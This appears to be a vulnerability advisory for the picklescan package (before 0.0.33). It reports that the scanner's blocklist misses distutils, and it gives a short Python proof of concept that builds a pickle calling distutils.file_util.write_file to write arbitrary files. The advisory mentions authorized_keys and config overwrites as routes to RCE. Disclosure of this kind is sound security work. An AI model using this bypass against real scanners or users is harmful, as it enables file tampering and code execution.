Описание
Picklescan vulnerable to Arbitrary File Writing
Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.
Details
This is another vulnerability which impacts the downstream user.
By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.
PoC
import pickle
import distutils.file_util
class FileWriteBypass:
def __reduce__(self):
target_file = "pwned_config.env"
content = ["print('I have overwritten your config')"]
return (distutils.file_util.write_file, (target_file, content))
payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
f.write(payload)
print("bypass_filewrite.pkl")
To fix this just add disutil to the blacklist
Пакеты
Наименование
picklescan
pip
Затронутые версииВерсия исправления
< 0.0.33
0.0.33
8.9 High
CVSS4
Дефекты
CWE-502
CWE-552
8.9 High
CVSS4
Дефекты
CWE-502
CWE-552